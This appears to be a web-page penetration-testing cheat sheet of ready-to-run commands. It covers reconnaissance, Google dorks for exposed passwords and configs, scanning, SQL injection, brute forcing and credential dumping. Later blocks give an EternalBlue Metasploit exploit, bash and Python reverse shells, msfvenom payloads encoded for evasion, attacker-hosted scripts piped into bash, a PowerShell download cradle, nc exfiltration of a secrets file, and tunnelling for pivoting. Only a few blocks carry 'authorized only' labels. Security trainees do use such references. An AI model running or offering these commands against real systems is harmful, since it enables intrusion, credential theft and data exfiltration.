Copy

# Set target
TARGET=example.com

# WHOIS lookup
whois $TARGET

# DNS: A + MX + NS records
dig +noall +answer $TARGET A
dig +noall +answer $TARGET MX
dig +noall +answer $TARGET NS

# HTTP headers check
curl -I -L --max-redirs 5 https://$TARGET

# Certificate names (crt.sh)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u

# Passive OSINT (AUTHORIZED USE ONLY)
theharvester -d example.com -b google,bing,linkedin -l 500
shodan host 1.2.3.4

Copy

# Find sensitive files (.pdf, .xls) on target domain
site:target.com filetype:pdf confidential
site:target.com filetype:xls password

# Find public login/admin panels
intitle:"login page" inurl:admin site:target.com

# Find exposed configuration or log files
inurl:wp-config.php OR inurl:.env filetype:txt
intitle:"index of /" log

# Find cached pages to check for old data exposure
cache:https://target.com/page-with-old-data

# Restrict results to a specific file type AND title match
intitle:"report" filetype:docx site:target.com

Copy

# Check for security-sensitive disallow rules in robots.txt
curl -s https://example.com/robots.txt | grep -i "disallow"

# Identify sensitive meta robots tags
grep -i 'meta name="robots"' page_source.html

# Check for canonical tag misconfigurations
grep -i '<link rel="canonical"' page_source.html

# Check for unintended parameter indexation
site:example.com inurl:sessionid= OR inurl:PHPSESSID=

Copy

# Amass (passive + active + brute)
amass enum -d example.com -o amass.txt

# Subfinder (fast passive)
subfinder -d example.com -o subfinder.txt

# DNS recon
dnsrecon -d example.com -t std,brt,srv

Copy

# Nmap (version, default scripts, full ports)
nmap -sC -sV -p- -T4 --min-rate 1000 -oA nmap-full 192.0.2.0/24

# Host discovery (ping scan)
nmap -sn 192.0.2.0/24

# Banner grab with netcat (HTTP 80)
nc -vz 192.0.2.10 80

Copy

# ffuf (directory/file fuzzing)
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302 -o ffuf.json

# gobuster (dir + vhost)
gobuster dir -u https://example.com/ -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster.txt

Copy

# nikto (webserver checks)
nikto -h https://example.com -output nikto.txt

# sqlmap (ONLY in-scope & lab)
sqlmap -u "https://example.com/vuln.php?id=1" --batch --dbs

# XSS testing (lab only)
xsstrike -u "https://example.com/page?param=1"

# parameter discovery
arjun -u "https://example.com/page" -o arjun.txt

Copy

# nuclei (fast templates)
nuclei -l hosts.txt -t cves/ -o nuclei_results.txt

# syft -> generate SBOM (Software Bill of Materials)
syft packages dir:./project -o json > sbom.json

# grype -> scan SBOM
grype sbom:sbom.json

# query NVD (example)
curl -s "https://services.nvd.nist.gov/rest/json/cve/1.0/CVE-2021-44228" | jq .

Copy

# hydra (online bruteforce) - AUTHORIZED ONLY
hydra -L users.txt -P passwords.txt -t 4 ssh://192.0.2.10 -o hydra-ssh.txt

# john / hashcat (offline cracking)
john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt
# hashcat example
# hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# impacket (examples: secretsdump)
python3 /opt/impacket/examples/secretsdump.py domain/USER:PASS -outputfile secrets

# BloodHound collection
Invoke-BloodHound -CollectionMethod All -ZipFileName bloodhound.zip

Copy

# start msfconsole
msfconsole

# search
search cve:2017-0143
search type:exploit platform:windows smb

# use exploit
use exploit/windows/smb/ms17_010_eternalblue

# show/set options
show options
set RHOSTS 192.168.1.0/24
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.5

# check (non-destructive)
check

# exploit (authorized/lab only)
exploit

Copy

# netcat listener (catch reverse shells)
nc -lvnp 4444

# bash reverse shell
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

# python reverse shell
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

# linux enumeration (lab)
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh

# windows enumeration
.\winpeas.exe

Copy

# tcpdump (capture 1000 packets on eth0)
tcpdump -i eth0 -w capture.pcap -c 1000

# tshark read (filter HTTP)
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri

# quick cert info
openssl s_client -connect example.com:443 </dev/null 2>/dev/null | openssl x509 -noout -text

# sslyze (comprehensive TLS scan)
sslyze --regular example.com:443

Copy

# searchsploit
searchsploit "CVE-2021-44228"
searchsploit -m 49993 # copy exploit by EDB ID

# fetch PoC (read-only)
curl -sL "https://raw.githubusercontent.com/user/repo/branch/poc.py" -o /tmp/poc.py

# run PoC inside an isolated, no-network container (safest approach)
docker run --rm -v /tmp/poc.py:/poc/poc.py --network none -it python:3.10 bash -c "python /poc/poc.py"

Copy

# ELF inspection
readelf -h binary
objdump -d binary | less
strings binary

# radare2
r2 -AA binary

# ropgadget (search for pop/ret gadgets)
ropgadget --binary binary --only "pop|ret" > gadgets.txt

# gdb + pwndbg (start debugging session)
gdb -q ./binary

Copy

# AFL (instrumented binary)
afl-fuzz -i in_dir -o out_dir -- ./target @@

# wfuzz for HTTP (parameter discovery)
wfuzz -c -z file,/usr/share/wordlists/parameters.txt --hc 404 "https://example.com/vuln?FUZZ=1"

Copy

# android decompile / inspect (apktool)
apktool d app.apk -o app_src

# android decompile / inspect (jadx)
jadx -d out app.apk

# frida (dynamic hooks) - authorized/lab only
frida -U -f com.example.app -l script.js --no-pause

# firmware extraction
binwalk -e firmware.bin
strings firmware.bin | grep -i password

Copy

# isolated container (no external network)
docker run --rm --network none -v $(pwd):/work -it ubuntu:22.04 bash

# spin up target service in container (lab)
docker run --rm -p 8080:80 vuln-app:latest

# logging with timestamps & tool version
(tool --version 2>&1 ; date; tool [args]) |& tee logfile.txt

# save JSON where possible for easy parsing
nuclei -l hosts.txt -o nuclei.json -oJ nuclei.json
ffuf -u https://example.com/FUZZ -w /wordlist.txt -o ffuf.json -of json

Copy

# Windows Reverse Shell (Encoded 3 times)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > /root/Desktop/payload-enc.exe

# Linux Python Reverse Shell (Raw Output, useful for injection)
msfvenom -p cmd/unix/reverse_python LHOST=10.0.0.5 LPORT=4444 -f raw

# Windows ASP Payload for Web Server Injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f asp > shell.asp

Copy

# Attacker: Python HTTP Server (Serving files)
python3 -m http.server 8000

# Target (Linux): Download file via wget (Attacker IP: 10.0.0.5)
wget http://10.0.0.5:8000/tool.sh

# Target (Linux): Download file via curl (In-Memory execution, safer)
curl http://10.0.0.5:8000/script.sh | bash

# Attacker: Netcat Listener (Receive file: 'data.txt' from target)
nc -l -p 8888 > received_data.txt

# Target: Netcat Transfer (Send file: 'secrets.db' to Attacker IP: 10.0.0.5)
nc 10.0.0.5 8888 < secrets.db

# Target (Windows): Download file via PowerShell (IEX)
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5:8000/shell.ps1')

Copy

# Local SSH Port Forward (Tunnel local port to remote target)
ssh -L 8080:192.168.1.10:80 user@jumpbox.corp

# Reverse SSH Tunnel (Target connects back to attacker to create a forward)
ssh -R 9000:127.0.0.1:80 user@10.0.0.5

# Metasploit Portfwd (Meterpreter session: tunnel target-side port to local)
portfwd add -l 3389 -r 192.168.1.15 -p 3389

# SOCKS Proxy via Metasploit (Enable proxy via a Meterpreter session)
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

# Chisel (Attacker: SOCKS server)
./chisel server -p 8000 --socks5

# Chisel (Target: Connect to server and create tunnel)
./chisel client 10.0.0.5:8000 R:1080:socks